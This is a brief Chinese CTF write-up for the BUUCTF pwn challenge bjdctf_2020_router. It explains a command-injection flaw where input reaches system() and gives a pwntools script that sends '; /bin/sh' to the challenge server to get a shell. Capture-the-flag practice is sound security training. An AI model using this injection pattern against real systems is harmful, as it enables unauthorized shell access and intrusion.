[BUUCTF-pwn]——bjdctf_2020_router
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——bjdctf_2020_router
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——bjdctf_2020_router
關鍵漏洞, 如果輸入 ; /bin/sh 就會執行system("/bin/sh")
分號是分割符
exploit
from pwn import * p = remote("node3.buuoj.cn",27911)p.sendline('1') p.sendafter("Please input the ip address:\n", "; /bin/sh\x00") p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——bjdctf_2020_router的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——wustct
- 下一篇: [BUUCTF-pwn]——[BJDCT